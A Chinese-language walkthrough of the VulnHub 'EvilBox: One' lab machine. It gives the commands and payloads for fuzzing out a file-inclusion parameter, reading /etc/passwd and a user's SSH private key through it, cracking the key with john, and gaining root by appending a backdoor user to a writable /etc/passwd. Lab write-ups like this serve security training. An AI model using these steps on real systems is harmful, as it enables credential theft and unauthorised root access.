准备

攻击机:kali/win11

靶机:evilbox:one : NAT 192.168.91.0 网段

下载链接:

https://download.vulnhub.com/evilbox/EvilBox—One.ova.torrent

注意

测试发现靶机不能正常获取IP地址。需要进入拯救模式修改网卡配置信息,将 错误的网卡名称修改为 ens33即可。

参考链接:

https://www.ohhhhhh.top/2021/12/09/web渗透——dawn/

主机发现

python3 ping.py -H 192.168.91.0/24

端口扫描

nmap -sV -A -p- -T4 192.168.91.193 –oN nmap.txt


如图所示开放了 22,80两个端口。

目录扫描



挨个儿查看一波。

http://192.168.91.193/robots.txt


robots.txt 页面得到了一个 name : H4x0r

http://192.168.91.193/secret/evil.php


如图所示: evil.php 是看不见任何内容的。

模糊测试

1
ffuf -c -r -u 'http://192.168.91.193/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0



如图所示:FUZZ = command , 文件包含漏洞,我们在浏览器访问一下:

http://192.168.91.193/secret/evil.php?command=/etc/passwd



如图所示:除了 root 之外还有一个用户名: mowree 具有 /bin/bash .

既然是文件包含漏洞,无异于 include ,requere函数,尝试一下伪协议读取文件内容。

伪协议:

http://192.168.91.193/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

得到base64:

1
PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==

解码为:

1
2
3
4
<?php
$filename = $_GET['command'];
include($filename);
?>

现在很明确知道了 就是一个 include()函数。未作任何过滤。现在我们需要尝试取读取对我们有用的文件。在前面端口扫描处我们知道开放了 22: ssh 服务,因此我们尝试读取一下 mowree 用户的是否存在私钥泄露。。

一般用户的 .ssh 目录下会存在三个文件:

  1. id_rsa : 私钥。
  2. authorized_keys : 认证关键字文件。
  3. id_rsa.pub : 公钥。

http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/id_rsa

http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/authorized_keys

认证关键字有用户信息: 用户名@主机名

将私钥保存到kali当中。

私钥破解

现在我们拿到了 私钥: id_rsa 可以用于ssh登陆,但是还差密码,所以破解密码,需要一个脚本: shh2john

https://github.com/aniello001/ssh2john

python3 ssh2john.py /root/myfiles/bj/linux/evilbox/id_rsa > hash.txt


如图所示:生成了 hash文件。

现在使用john 破解
john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt


如图所示: 得到了密码: unicorn 独角兽。

登陆
ssh -i id_rsa mowree@192.168.91.193


如图所示:登陆成功。

flag1

提权

现在想办法提权。

首先查找是否有 SUID 提权。同时发现 sudo -l 无法使用
find / -perm -u=s -type f 2>/dev/null


如图所示:发现没有可用的SUID文件。因此此方法行不通。

发现 history 查看历史记录,没有用。内核提权也不行。

在靶机上运行 ./lse.sh 进行枚举一下。自行将其下载到靶机中,然后运行。
./lse.sh -l 1 -i | more

其中发现:can we write to critical files?(我们能写关键文件吗?) 为 绿色的 yes.


如图所示:可以看到能写的文件为 /etc/passwd , 这个文件能写,那么我们可以通过 openssl 修改 root 的密码。或者添加一个具有 root 权限的用户。

在这里我们添加一个等同于root的用户 toor,密码也为 toor。

参考我以前的笔记:

https://www.ohhhhhh.top/2021/12/17/web渗透——AI-WEB1and2/

输入命令:
openssl passwd -1 -salt toor

解释: -1 : md5加密; -salt:加盐,若和密码一样,则等同于用户名。


如图所示:生成了加密的密码

1
$1$toor$2SrtV0M1RHrAj9uQL5C7w/

然后将 toor和这串加密密码添加到 /etc/passwd 末尾,格式与root用户的格式类似。

echo ‘toor:1toor$2SrtV0M1RHrAj9uQL5C7w/:0:0::/root:/bin/bash’ >> /etc/passwd



如图所示:成功添加到/etc/passwd 末尾。

现在尝试切换到用户 toor



如图所示:su toor ,密码 toor后给成功切换到了 root ,用户名由 toor 变为了 root。

至此提权完毕。

flag2

总结

  1. ffuf 工具进行模糊测试。
  2. 私钥破解密码。
  3. openssl 提权。
  4. lse.sh 枚举大法好。
  5. 之前做过一遍。
  6. 对于这个靶机需要掌握 ffuf 工具的使用,还需要掌握 id_rsa 私钥的破解方法,以及 openssl 生成并修改密码,以及枚举工具 enumeration(lse.sh) 的使用,这个工具可以枚举出系统中的敏感文件,对于提权有很大的方便。